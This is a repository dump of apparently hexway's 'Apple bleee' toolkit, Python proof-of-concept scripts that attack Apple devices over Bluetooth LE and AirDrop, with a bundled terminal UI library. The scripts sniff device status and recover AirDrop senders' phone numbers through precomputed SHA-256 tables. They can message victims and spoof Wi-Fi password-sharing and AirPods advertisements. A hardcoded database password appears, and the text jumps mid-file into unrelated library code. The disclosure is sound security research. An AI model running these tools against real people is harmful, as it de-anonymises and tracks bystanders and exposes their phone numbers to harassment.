├── .gitignore ├── LICENSE ├── README.md ├── adv_airpods.py ├── adv_wifi.py ├── airdrop_leak.py ├── ble_read_state.py ├── hash2phone ├── README.md ├── db_init.sql ├── hashmap_gen.py ├── hashmap_gen_sqlite.py ├── img │ └── hash_api.png ├── map_hash_num.php └── map_hash_num_sqlite.php ├── img ├── airdrop_gif.gif ├── airpods_gif.gif ├── dev_status.png ├── logo.jpg ├── share_wifi_gif.gif ├── share_wifi_pwd2_gif.gif └── status_gif.gif ├── npyscreen ├── __init__.py ├── apNPSApplication.py ├── apNPSApplicationAdvanced.py ├── apNPSApplicationEvents.py ├── apNPSApplicationManaged.py ├── apOptions.py ├── compatibility_code │ ├── __init__.py │ ├── npysNPSTree.py │ └── oldtreeclasses.py ├── eveventhandler.py ├── fmActionForm.py ├── fmActionFormV2.py ├── fmFileSelector.py ├── fmForm.py ├── fmFormMultiPage.py ├── fmFormMutt.py ├── fmFormMuttActive.py ├── fmFormWithMenus.py ├── fmPopup.py ├── fm_form_edit_loop.py ├── globals.py ├── muMenu.py ├── muNewMenu.py ├── npysGlobalOptions.py ├── npysNPSFilteredData.py ├── npysThemeManagers.py ├── npysThemes.py ├── npysTree.py ├── npyspmfuncs.py ├── npyssafewrapper.py ├── proto_fm_screen_area.py ├── stdfmemail.py ├── utilNotify.py ├── util_viewhelp.py ├── wgFormControlCheckbox.py ├── wgNMenuDisplay.py ├── wgannotatetextbox.py ├── wgautocomplete.py ├── wgboxwidget.py ├── wgbutton.py ├── wgcheckbox.py ├── wgcombobox.py ├── wgdatecombo.py ├── wgeditmultiline.py ├── wgfilenamecombo.py ├── wggrid.py ├── wggridcoltitles.py ├── wgmonthbox.py ├── wgmultiline.py ├── wgmultilineeditable.py ├── wgmultilinetree.py ├── wgmultilinetreeselectable.py ├── wgmultiselect.py ├── wgmultiselecttree.py ├── wgpassword.py ├── wgselectone.py ├── wgslider.py ├── wgtextbox.py ├── wgtextbox_controlchrs.py ├── wgtextboxunicode.py ├── wgtexttokens.py ├── wgtitlefield.py ├── wgwidget.py └── wgwidget_proto.py ├── opendrop2 ├── __init__.py ├── __main__.py ├── certs │ └── apple_root_ca.pem ├── cli.py ├── client.py ├── config.py ├── server.py ├── util.py └── zeroconf.py ├── requirements.txt └── utils └── bluetooth_utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .cache 41 | nosetests.xml 42 | coverage.xml 43 | 44 | # Translations 45 | *.mo 46 | *.pot 47 | 48 | # Django stuff: 49 | *.log 50 | 51 | # Sphinx documentation 52 | docs/_build/ 53 | docs/api/modules.rst 54 | docs/api/pysap.*rst 55 | docs/**/.ipynb_checkpoints/ 56 | docs/**/*.tex 57 | docs/**/*.dvi 58 | 59 | # PyBuilder 60 | target/ 61 | 62 | # IDEs 63 | .idea 64 | .project 65 | .pydevproject 66 | .settings 67 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Apple bleee 2 | 3 |

4 | 5 |

6 | 7 | ## Disclaimer 8 | These scripts are experimental PoCs that show what an attacker get from Apple devices if they sniff Bluetooth traffic. 9 | 10 | ***This project is created only for educational purposes and cannot be used for law violation or personal gain.
The author of this project is not responsible for any possible harm caused by the materials of this project*** 11 | 12 | 13 | ## Requirements 14 | To use these scripts you will need a Bluetooth adapter for sending `BLE` messages and WiFi card supporting active monitor mode with frame injection for communication using `AWDL` (AirDrop). We recommend the Atheros AR9280 chip (IEEE 802.11n) we used to develop and test this code. 15 | We have tested these PoCs on **Kali Linux** 16 | 17 | 18 | ## Installation 19 | 20 | ``` 21 | # clone main repo 22 | git clone https://github.com/hexway/apple_bleee.git && cd ./apple_bleee 23 | # install dependencies 24 | sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev 25 | sudo pip3 install -r requirements.txt 26 | # clone and install owl for AWDL interface 27 | git clone https://github.com/seemoo-lab/owl.git && cd ./owl && git submodule update --init && mkdir build && cd build && cmake .. && make && sudo make install && cd ../.. 28 | ``` 29 | 30 | ## How to use 31 | 32 | Before using the tool, check that your Bluetooth adapter is connected 33 | 34 | ``` 35 | hcitool dev 36 | Devices: 37 | hci0 00:1A:7D:DA:71:13 38 | ``` 39 | 40 | 41 | ### Script: [ble_read_state.py](https://github.com/hexway/apple_bleee/blob/master/ble_read_state.py) 42 | 43 | This script sniffs `BLE` traffic and displays status messages from Apple devices. 44 | Moreover, the tool detects requests for password sharing from Apple devices. In these packets, we can get first 3 bytes of sha256(phone_number) and could try to guess the original phone number using prepared tables with phone hash values. 45 | 46 | ![dev_status](img/dev_status.png) 47 | 48 | ```bash 49 | python3 ble_read_state.py -h 50 | usage: ble_read_state.py [-h] [-c] [-n] [-r] [-l] [-s] [-m] [-a] [-t TTL] 51 | 52 | Apple bleee. Apple device sniffer 53 | ---chipik 54 | 55 | optional arguments: 56 | -h, --help show this help message and exit 57 | -c, --check_hash Get phone number by hash 58 | -n, --check_phone Get user info by phone number (TrueCaller/etc) 59 | -r, --check_region Get phone number region info 60 | -l, --check_hlr Get phone number info by HLR request (hlrlookup.com) 61 | -s, --ssid Get SSID from requests 62 | -m, --message Send iMessage to the victim 63 | -a, --airdrop Get info from AWDL 64 | -t TTL, --ttl TTL ttl 65 | ``` 66 | 67 | For monitoring you can just run the script without any parameters 68 | 69 | ```bash 70 | sudo python3 ble_read_state.py 71 | ``` 72 | 73 | press `Ctrl+q` to exit 74 | 75 | If you want to get phone numbers from a WiFi password request, you have to prepare the hashtable (please find scripts below), setup a web server and specify `base_url` inside this script and run it with `-c` parameter 76 | 77 | ```bash 78 | sudo python3 ble_read_state.py -с 79 | ``` 80 | 81 | **Video demo (click):** 82 | 83 | [![airdrop_demo](img/status_gif.gif)](https://www.youtube.com/watch?v=Bi602yAIBAw) 84 | 85 | ### Script: [airdrop_leak.py](https://github.com/hexway/apple_bleee/blob/master/airdrop_leak.py) 86 | 87 | This script allows to get mobile phone number of any user who will try to send file via AirDrop 88 | 89 | For this script, we'll need `AWDL` interface: 90 | ```bash 91 | # set wifi card to monitor mode and run owl 92 | sudo iwconfig wlan0 mode monitor && sudo ip link set wlan0 up && sudo owl -i wlan0 -N & 93 | ``` 94 | 95 | Now, you can run the script 96 | 97 | ```bash 98 | python3 airdrop_leak.py -h 99 | usage: airdrop_leak.py [-h] [-c] [-n] [-m] 100 | 101 | Apple AirDrop phone number catcher 102 | ---chipik 103 | 104 | optional arguments: 105 | -h, --help show this help message and exit 106 | -c, --check_hash Get phone number by hash 107 | -n, --check_phone Get user info by phone number (TrueCaller/etc) 108 | -m, --message Send iMessage to the victim 109 | ``` 110 | 111 | With no params, the script just displays phone hash and ipv6 address of the sender 112 | 113 | ```bash 114 | sudo python3 airdrop_leak.py 115 | ``` 116 | 117 | **Video demo (click):** 118 | 119 | [![airdrop_demo](img/airdrop_gif.gif)](https://www.youtube.com/watch?v=mREIeH_s3z8) 120 | 121 | ### Script: [adv_wifi.py](https://github.com/hexway/apple_bleee/blob/master/adv_wifi.py) 122 | 123 | This script sends `BLE` messages with WiFi password sharing request. This PoC shows that an attacker can trigger a pop up message on the target device if he/she knows any phone/email that exists on the victim's device 124 | 125 | ```bash 126 | python3 adv_wifi.py -h 127 | usage: adv_wifi.py [-h] [-p PHONE] [-e EMAIL] [-a APPLEID] -s SSID 128 | [-i INTERVAL] 129 | 130 | WiFi password sharing spoofing PoC 131 | ---chipik 132 | 133 | optional arguments: 134 | -h, --help show this help message and exit 135 | -p PHONE, --phone PHONE 136 | Phone number (example: 39217XXX514) 137 | -e EMAIL, --email EMAIL 138 | Email address (example: test@test.com) 139 | -a APPLEID, --appleid APPLEID 140 | Email address (example: test@icloud.com) 141 | -s SSID, --ssid SSID WiFi SSID (example: test) 142 | -i INTERVAL, --interval INTERVAL 143 | Advertising interval 144 | ``` 145 | 146 | For a WiFi password request, we'll need to specify any contact (email/phone) that exists in a victim's contacts and the SSID of a WiFi network the victim knows 147 | 148 | ```bash 149 | sudo python3 adv_wifi.py -e pr@hexway.io -s hexway 150 | ``` 151 | 152 | **Video demo (click):** 153 | 154 | [![share_wifi_demo](img/share_wifi_pwd2_gif.gif)](https://www.youtube.com/watch?v=QkGCP2mfbJ8) 155 | 156 | ### Script: [adv_airpods.py](https://github.com/hexway/apple_bleee/blob/master/adv_airpods.py) 157 | 158 | This script mimics AirPods by sending `BLE` messages 159 | 160 | ```bash 161 | python3 adv_airpods.py -h 162 | usage: adv_airpods.py [-h] [-i INTERVAL] [-r] 163 | 164 | AirPods advertise spoofing PoC 165 | ---chipik 166 | 167 | optional arguments: 168 | -h, --help show this help message and exit 169 | -i INTERVAL, --interval INTERVAL 170 | Advertising interval 171 | -r, --random Send random charge values 172 | ``` 173 | 174 | Let's send `BLE` messages with random charge values for headphones 175 | 176 | ```bash 177 | sudo python3 adv_airpods.py -r 178 | ``` 179 | 180 | **Video demo (click):** 181 | 182 | [![airdrop_demo](img/airpods_gif.gif)](https://www.youtube.com/watch?v=HoSuLUtrkXo) 183 | 184 | ### Script: [hash2phone](https://github.com/hexway/apple_bleee/blob/master/hash2phone/) 185 | 186 | You can use this script to create pre-calculated table with mobile phone numbers hashes
187 | Please find details [here](/hash2phone) 188 | 189 | ## Contacts 190 | 191 | [https://hexway.io](https://hexway.io)
192 | [@_hexway](https://twitter.com/_hexway) 193 | -------------------------------------------------------------------------------- /adv_airpods.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Author: Dmitry Chastuhin 3 | # Twitter: https://twitter.com/_chipik 4 | 5 | # web: https://hexway.io 6 | # Twitter: https://twitter.com/_hexway 7 | 8 | import random 9 | import hashlib 10 | import argparse 11 | from time import sleep 12 | import bluetooth._bluetooth as bluez 13 | from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) 14 | 15 | help_desc = ''' 16 | AirPods advertise spoofing PoC 17 | ---chipik 18 | ''' 19 | 20 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 21 | parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') 22 | parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') 23 | args = parser.parse_args() 24 | 25 | dev_id = 0 # the bluetooth device is hci0 26 | toggle_device(dev_id, True) 27 | 28 | data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x01, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) 29 | left_speaker = (random.randint(1, 100),) 30 | right_speaker = (random.randint(1, 100),) 31 | case = (random.randint(128, 228),) 32 | data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) 33 | 34 | try: 35 | sock = bluez.hci_open_dev(dev_id) 36 | except: 37 | print("Cannot open bluetooth device %i" % dev_id) 38 | raise 39 | 40 | print("Start advertising...") 41 | if args.random: 42 | while True: 43 | try: 44 | sock = bluez.hci_open_dev(dev_id) 45 | except: 46 | print("Cannot open bluetooth device %i" % dev_id) 47 | raise 48 | left_speaker = (random.randint(1, 100),) 49 | right_speaker = (random.randint(1, 100),) 50 | case = (random.randint(128, 228),) 51 | start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, 52 | data=(data1 + left_speaker + right_speaker + case + data2)) 53 | sleep(2) 54 | stop_le_advertising(sock) 55 | else: 56 | try: 57 | start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, 58 | data=(data1 + left_speaker + right_speaker + case + data2)) 59 | while True: 60 | sleep(2) 61 | except: 62 | stop_le_advertising(sock) 63 | raise 64 | -------------------------------------------------------------------------------- /adv_wifi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Author: Dmitry Chastuhin 3 | # Twitter: https://twitter.com/_chipik 4 | 5 | # web: https://hexway.io 6 | # Twitter: https://twitter.com/_hexway 7 | 8 | import random 9 | import hashlib 10 | import argparse 11 | from time import sleep 12 | import bluetooth._bluetooth as bluez 13 | from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) 14 | 15 | help_desc = ''' 16 | WiFi password sharing spoofing PoC 17 | ---chipik 18 | ''' 19 | 20 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 21 | parser.add_argument('-p', '--phone', default='none', help='Phone number (example: 39217XXX514)') 22 | parser.add_argument('-e', '--email', default='none', help='Email address (example: test@test.com)') 23 | parser.add_argument('-a', '--appleid', default='none', help='Email address (example: test@icloud.com)') 24 | parser.add_argument('-s', '--ssid', required=True, help='WiFi SSID (example: test)') 25 | parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') 26 | args = parser.parse_args() 27 | 28 | 29 | def get_hash(data, size=3): 30 | return tuple(bytearray.fromhex(hashlib.sha256(data.encode('utf-8')).hexdigest())[:size]) 31 | 32 | 33 | dev_id = 0 # the bluetooth device is hci0 34 | toggle_device(dev_id, True) 35 | 36 | header = (0x02, 0x01, 0x1a, 0x1a, 0xff, 0x4c, 0x00) 37 | const1 = (0x0f, 0x11, 0xc0, 0x08) 38 | id1 = (0xff, 0xff, 0xff) 39 | contact_id_mail = get_hash(args.email) 40 | contact_id_tel = get_hash(args.phone) 41 | contact_id_appleid = get_hash(args.appleid) 42 | id_wifi = get_hash(args.ssid) 43 | const2 = (0x10, 0x02, 0x0b, 0x0c,) 44 | 45 | print("Start advertising...") 46 | try: 47 | sock = bluez.hci_open_dev(dev_id) 48 | except: 49 | print("Cannot open bluetooth device %i" % dev_id) 50 | raise 51 | 52 | try: 53 | start_le_advertising(sock, adv_type=0x00, min_interval=args.interval, max_interval=args.interval, data=( 54 | header + const1 + id1 + contact_id_appleid + contact_id_tel + contact_id_mail + id_wifi + const2)) 55 | while True: 56 | sleep(2) 57 | except: 58 | stop_le_advertising(sock) 59 | raise 60 | -------------------------------------------------------------------------------- /airdrop_leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Author: Dmitry Chastuhin 3 | # Twitter: https://twitter.com/_chipik 4 | 5 | # web: https://hexway.io 6 | # Twitter: https://twitter.com/_hexway 7 | 8 | 9 | # !!!!!!!! 10 | # Don't forget to install https://github.com/seemoo-lab/owl before using this script 11 | # 1. Install owl 12 | # 2. iwconfig wlan0 mode monitor 13 | # 3. ip link set wlan0 up 14 | # 4. owl -i wlan0 -N 15 | 16 | import time 17 | import json 18 | import hashlib 19 | import argparse 20 | import requests 21 | from threading import Thread, Timer 22 | from opendrop2.cli import AirDropCli 23 | from opendrop2.server import get_devices 24 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 25 | 26 | help_desc = ''' 27 | Apple AirDrop phone number catcher 28 | ---chipik 29 | ''' 30 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 31 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 32 | parser.add_argument('-c', '--check_hash', action='store_true', help='Get phone number by hash') 33 | parser.add_argument('-n', '--check_phone', action='store_true', help='Get user info by phone number (TrueCaller/etc)') 34 | parser.add_argument('-m', '--message', action='store_true', help='Send iMessage to the victim') 35 | args = parser.parse_args() 36 | 37 | base_url = '' # URL to hash2phone matcher 38 | imessage_url = '' # URL to iMessage sender (sorry, but we did some RE for that :) ) 39 | verify = False 40 | results = {} 41 | 42 | if args.message: 43 | if not imessage_url: 44 | print("You have to specify imessage_url if you want to send iMessages to the victim") 45 | exit(1) 46 | if args.check_phone: 47 | # import from TrueCaller API lib (sorry, but we did some RE for that :)) 48 | print("Sorry, but we don't provide this functionality as a part of this PoC") 49 | exit(1) 50 | if args.check_hash: 51 | if not base_url: 52 | print("You have to specify base_url if you want to match hashes to phones") 53 | exit(1) 54 | 55 | 56 | def get_phone(hash): 57 | global phone_number_info 58 | r = requests.get(base_url, params={'hash': hash}, verify=verify) 59 | if r.status_code == 200: 60 | result = r.json() 61 | return result['candidates'] 62 | else: 63 | print("Something wrong! Status: {}".format(r.status_code)) 64 | 65 | 66 | def start_listetninig(): 67 | print("[*] Looking for AirDrop senders...") 68 | AirDropCli(["receive"]) 69 | 70 | 71 | def get_hash(data): 72 | return hashlib.sha256(data.encode('utf-8')).hexdigest() 73 | 74 | 75 | def get_names(phone, lat=False): 76 | name, carrier, region = get_number_info_TrueCaller('+{}'.format(phone), lat) 77 | return name, carrier, region 78 | 79 | 80 | def send_imessage(tel, text): 81 | data = {"token": "", 82 | "destination": "+{}".format(tel), 83 | "text": text 84 | } 85 | r = requests.post(imessage_url + '/imessage', data=json.dumps(data), verify=verify) 86 | if r.status_code == 200: 87 | print("[*] iMessage sent") 88 | elif r.status_code == 404: 89 | print("[*] iMessage failed") 90 | else: 91 | print(r.content) 92 | print("Something wrong! Status: {}".format(r.status_code)) 93 | 94 | 95 | thread2 = Thread(target=start_listetninig, args=()) 96 | thread2.daemon = True 97 | thread2.start() 98 | 99 | # OMG i'm a programmer loop here 100 | while 1: 101 | time.sleep(5) 102 | devs = get_devices() 103 | if len(devs): 104 | for dev in devs: 105 | if dev["phone"] not in results.keys(): 106 | if dev["hash"]: 107 | if args.check_hash: 108 | ph_candidates = get_phone(dev["hash"][:6]) 109 | for candidate in ph_candidates: 110 | if dev["hash"] == get_hash(candidate): 111 | dev["phone"] = candidate 112 | results[dev["phone"]] = dev 113 | if args.check_phone: 114 | name, carrier, region = get_names(dev["phone"], True) 115 | print( 116 | "Someone with phone number \033[92m{} ({})\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format( 117 | dev["phone"], name, dev["ip"])) 118 | if args.message: 119 | send_imessage(dev["phone"], 120 | "Hi, {}! Have you tried to send smth via AirDrop?".format(name)) 121 | else: 122 | print( 123 | "Someone with phone number \033[92m{}\033[0m and ip \033[92m{}\033[0m has tried to use AirDrop".format( 124 | dev["phone"], dev["ip"])) 125 | if args.message: 126 | send_imessage(dev["phone"], 127 | "Hi {}! Have you tried to send smth via AirDrop?".format( 128 | dev["phone"])) 129 | else: 130 | print("Someone with phone number hash \033[92m{}\033[0m has tried to use AirDrop".format( 131 | dev["hash"])) 132 | 133 | else: 134 | print("We've got an empty hash :/") 135 | -------------------------------------------------------------------------------- /hash2phone/README.md: -------------------------------------------------------------------------------- 1 | # Pre-calculated phone numbers hash map 2 | 3 | This tool allows to pre-compute a list of hashes for a range of telephone numbers. It can use either postgresql + web service or sqlite3. 4 | 5 | ## Installation 6 | 7 | **Tested on: Ubuntu 18.04** 8 | 9 | Install dependencies 10 | 11 | ``` 12 | sudo apt update 13 | sudo apt install apache2 apache2-utils php php-pgsql libapache2-mod-php libpq5 postgresql postgresql-client postgresql-client-common postgresql-contrib python python-pip python-pip postgresql-server-dev-all 14 | sudo pip install psycopg2 15 | ``` 16 | 17 | Prepare database 18 | 19 | - Postgresql 20 | 21 | ``` 22 | sudo -u postgres psql < db_init.sql 23 | ``` 24 | 25 | Place lookup script into webserver directory: 26 | 27 | ``` 28 | cp map_hash_num.php /var/www/html/ 29 | ``` 30 | 31 | - SQLite 32 | 33 | ``` 34 | python3 hashmap_gen_sqlite.py dbinit 35 | ``` 36 | 37 | Fill database with hashes for phone numbers range with your favorite preffix (e.g. +12130000000 -> +12139999999) 38 | 39 | - Postgresql 40 | 41 | ``` 42 | python3 hashmap_gen.py 1213 43 | ``` 44 | 45 | - SQLite 46 | 47 | ``` 48 | python3 hashmap_gen_sqlite.py 1213XXXXXX 49 | ``` 50 | 51 | ## Usage 52 | 53 | Now you can get mobile phones by 3 bytes of SHA256(phone_number) this way: 54 | 55 | ``` 56 | http://127.0.0.1/map_hash_num.php?hash=112233 57 | ``` 58 | 59 | ![ph_candidates](img/hash_api.png) 60 | 61 | 62 | will store the hashes for those numbers in a file named phones.db 63 | -------------------------------------------------------------------------------- /hash2phone/db_init.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE phones; 2 | CREATE USER lookup WITH password 'h3xwayp4ssw0rd'; --you can change it if you want 3 | 4 | GRANT ALL ON DATABASE phones TO lookup; 5 | \c phones 6 | 7 | 8 | CREATE TABLE public.map ( 9 | id integer NOT NULL, 10 | hash bytea, 11 | phone character varying(11) 12 | ); 13 | 14 | ALTER TABLE public.map OWNER TO lookup; 15 | 16 | CREATE SEQUENCE public.map_id_seq 17 | AS integer 18 | START WITH 1 19 | INCREMENT BY 1 20 | NO MINVALUE 21 | NO MAXVALUE 22 | CACHE 1; 23 | 24 | ALTER TABLE public.map_id_seq OWNER TO lookup; 25 | 26 | ALTER SEQUENCE public.map_id_seq OWNED BY public.map.id; 27 | 28 | ALTER TABLE ONLY public.map ALTER COLUMN id SET DEFAULT nextval('public.map_id_seq'::regclass); 29 | ALTER TABLE ONLY public.map ADD CONSTRAINT map_pkey PRIMARY KEY (id); 30 | CREATE INDEX hash_index_btree ON public.map USING btree (hash); 31 | -------------------------------------------------------------------------------- /hash2phone/hashmap_gen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | # web: https://hexway.io 4 | # Twitter: https://twitter.com/_hexway 5 | 6 | 7 | #yeah, this is just PoC 8 | 9 | from __future__ import print_function 10 | import sys 11 | import hashlib 12 | import psycopg2 13 | 14 | if len(sys.argv)!=2: 15 | print("\nUsage:\t",sys.argv[0],"<4-digit phone prefix>") 16 | print("\nEx.:Calculate hashmap for range +12130000000 -- +12139999999:") 17 | print(sys.argv[0],"1213") 18 | print("\n\n"); 19 | sys.exit() 20 | 21 | 22 | prefix = sys.argv[1] 23 | num=int(prefix+"0000000") 24 | stop_num=num+10000000 25 | 26 | connection = psycopg2.connect(user="lookup", 27 | password="h3xwayp4ssw0rd", #you can change it if you want 28 | host="127.0.0.1", 29 | port="5432", 30 | database="phones") 31 | cursor = connection.cursor() 32 | 33 | postgres_insert_query = """ INSERT INTO map (hash, phone) VALUES (%s, %s)""" 34 | 35 | 36 | while num < stop_num : 37 | 38 | if num % 100000 == 0: 39 | print(100-(stop_num-num)/100000,"% complete") 40 | connection.commit() 41 | strnum = str(num).encode('utf-8') 42 | m = hashlib.sha256() 43 | m.update(strnum) 44 | bhash = m.digest() 45 | strhash = str(bhash).encode() 46 | print(strhash) 47 | print(strnum) 48 | record_to_insert = (strhash, num) 49 | print(record_to_insert) 50 | cursor.execute(postgres_insert_query, record_to_insert) 51 | 52 | 53 | 54 | num +=1 55 | connection.commit() 56 | print("last num:\t", strnum) 57 | print("done!") 58 | -------------------------------------------------------------------------------- /hash2phone/hashmap_gen_sqlite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Generating 3 first-bytes sha256 of 4 | # phones number given a specific range 5 | # and storing into an sqlite3 DB 6 | # 7 | # -- gelim 8 | 9 | from hashlib import sha256 10 | import sqlite3 11 | import sys 12 | 13 | 14 | db_file = 'phones.db' 15 | sql_drop = 'DROP TABLE IF EXISTS map' 16 | sql_create = 'CREATE TABLE map (id integer primary key, hash text, phone integer)' # saving up to 20% with integer for phones 17 | sql_insert = 'INSERT INTO map (hash, phone) VALUES (?, ?)' 18 | 19 | 20 | if len(sys.argv) != 2: 21 | progname = sys.argv[0] 22 | print('''Usage: %s dbinit 23 | will initialize the sqlite3 phone hash database (can takes some time) 24 | 25 | %s phonemask 26 | Example: %s 336XXXXXXXX 27 | for generating hashes for numbers starting from 33600000000 up to 33699999999 28 | 29 | You can as well use space or hyphen char as you wish, like: 30 | - 336 XX XX XX XX (French mobile number) 31 | - 1 408-XXX-XXXX (would be a landline Cupertino area) 32 | ''' % (progname, progname, progname)) 33 | exit(0) 34 | 35 | conn = sqlite3.connect(db_file) 36 | c = conn.cursor() 37 | 38 | if sys.argv[1] == 'test': 39 | c.execute("SELECT phone FROM map WHERE hash='56d5a1'") 40 | phones = c.fetchall() 41 | for p in phones: print(str(p[0])) 42 | exit(0) 43 | 44 | if sys.argv[1] == 'dbinit': 45 | c.execute(sql_drop) 46 | c.execute(sql_create) 47 | conn.commit() 48 | conn.close() 49 | exit(0) 50 | 51 | phonemask = sys.argv[1] 52 | phonemask = phonemask.replace(' ', '').replace('-', '') 53 | phone_start = int(phonemask.replace('X', '0')) 54 | phone_stop = int(phonemask.replace('X', '9')) 55 | percentile = (phone_stop - phone_start + 1) / 100 56 | 57 | phones_temp = list() 58 | 59 | for num in range(phone_start, phone_stop + 1): 60 | hashp = sha256(str(num).encode('latin1')).hexdigest()[:6] 61 | phones_temp.append((hashp, num)) 62 | 63 | if num % percentile == 0: 64 | print("\r%d%% completed" % int(100 - (phone_stop-num)/percentile), end="") 65 | c.executemany(sql_insert, phones_temp) 66 | phones_temp = list() 67 | conn.commit() 68 | conn.close() 69 | print() 70 | -------------------------------------------------------------------------------- /hash2phone/img/hash_api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexway/apple_bleee/1f8022959be660b561e6004b808dd93fa252bc90/hash2phone/img/hash_api.png -------------------------------------------------------------------------------- /hash2phone/map_hash_num.php: -------------------------------------------------------------------------------- 1 | 0: 160 | if self._FORM_VISIT_LIST[-1] != self.NEXT_ACTIVE_FORM: 161 | self._FORM_VISIT_LIST.append(self.NEXT_ACTIVE_FORM) 162 | else: 163 | self._FORM_VISIT_LIST.append(self.NEXT_ACTIVE_FORM) 164 | #self._THISFORM._resize() 165 | if hasattr(self._THISFORM, "activate"): 166 | self._THISFORM._resize() 167 | self._THISFORM.activate() 168 | else: 169 | if hasattr(self._THISFORM, "beforeEditing"): 170 | self._THISFORM.beforeEditing() 171 | self._THISFORM._resize() 172 | self._THISFORM.edit() 173 | if hasattr(self._THISFORM, "afterEditing"): 174 | self._THISFORM.afterEditing() 175 | 176 | self.onInMainLoop() 177 | self.onCleanExit() 178 | 179 | def onInMainLoop(self): 180 | """Called between each screen while the application is running. Not called before the first screen. Override at will""" 181 | 182 | def onStart(self): 183 | """Override this method to perform any initialisation.""" 184 | pass 185 | 186 | def onCleanExit(self): 187 | """Override this method to perform any cleanup when application is exiting without error.""" 188 | 189 | 190 | -------------------------------------------------------------------------------- /npyscreen/compatibility_code/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexway/apple_bleee/1f8022959be660b561e6004b808dd93fa252bc90/npyscreen/compatibility_code/__init__.py -------------------------------------------------------------------------------- /npyscreen/compatibility_code/npysNPSTree.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import weakref 3 | import collections 4 | import operator 5 | 6 | class NPSTreeData(object): 7 | CHILDCLASS = None 8 | def __init__(self, content=None, parent=None, selected=False, selectable=True, 9 | highlight=False, expanded=True, ignoreRoot=True, sort_function=None): 10 | self.setParent(parent) 11 | self.setContent(content) 12 | self.selectable = selectable 13 | self.selected = selected 14 | self.highlight = highlight 15 | self.expanded = expanded 16 | self._children = [] 17 | self.ignoreRoot = ignoreRoot 18 | self.sort = False 19 | self.sort_function = sort_function 20 | self.sort_function_wrapper = True 21 | 22 | 23 | def getContent(self): 24 | return self.content 25 | 26 | def getContentForDisplay(self): 27 | return str(self.content) 28 | 29 | def setContent(self, content): 30 | self.content = content 31 | 32 | def isSelected(self): 33 | return self.selected 34 | 35 | def isHighlighted(self): 36 | return self.highlight 37 | 38 | def setParent(self, parent): 39 | if parent == None: 40 | self._parent = None 41 | else: 42 | self._parent = weakref.proxy(parent) 43 | 44 | def getParent(self): 45 | return self._parent 46 | 47 | 48 | def findDepth(self, d=0): 49 | depth = d 50 | parent = self.getParent() 51 | while parent: 52 | d += 1 53 | parent = parent.getParent() 54 | return d 55 | # Recursive 56 | #if self._parent == None: 57 | # return d 58 | #else: 59 | # return(self._parent.findDepth(d+1)) 60 | 61 | def isLastSibling(self): 62 | if self.getParent(): 63 | if list(self.getParent().getChildren())[-1] == self: 64 | return True 65 | else: 66 | return False 67 | else: 68 | return None 69 | 70 | def hasChildren(self): 71 | if len(self._children) > 0: 72 | return True 73 | else: 74 | return False 75 | 76 | def getChildren(self): 77 | for c in self._children: 78 | try: 79 | yield weakref.proxy(c) 80 | except: 81 | yield c 82 | 83 | def getChildrenObjects(self): 84 | return self._children[:] 85 | 86 | def _getChildrenList(self): 87 | return self._children 88 | 89 | def newChild(self, *args, **keywords): 90 | if self.CHILDCLASS: 91 | cld = self.CHILDCLASS 92 | else: 93 | cld = type(self) 94 | c = cld(parent=self, *args, **keywords) 95 | self._children.append(c) 96 | return weakref.proxy(c) 97 | 98 | def removeChild(self, child): 99 | new_children = [] 100 | for ch in self._children: 101 | # do it this way because of weakref equality bug. 102 | if not ch.getContent() == child.getContent(): 103 | new_children.append(ch) 104 | else: 105 | ch.setParent(None) 106 | self._children = new_children 107 | 108 | 109 | def create_wrapped_sort_function(self, this_function): 110 | def new_function(the_item): 111 | if the_item: 112 | the_real_item = the_item.getContent() 113 | return this_function(the_real_item) 114 | else: 115 | return the_item 116 | return new_function 117 | 118 | def walkParents(self): 119 | p = self.getParent() 120 | while p: 121 | yield p 122 | p = 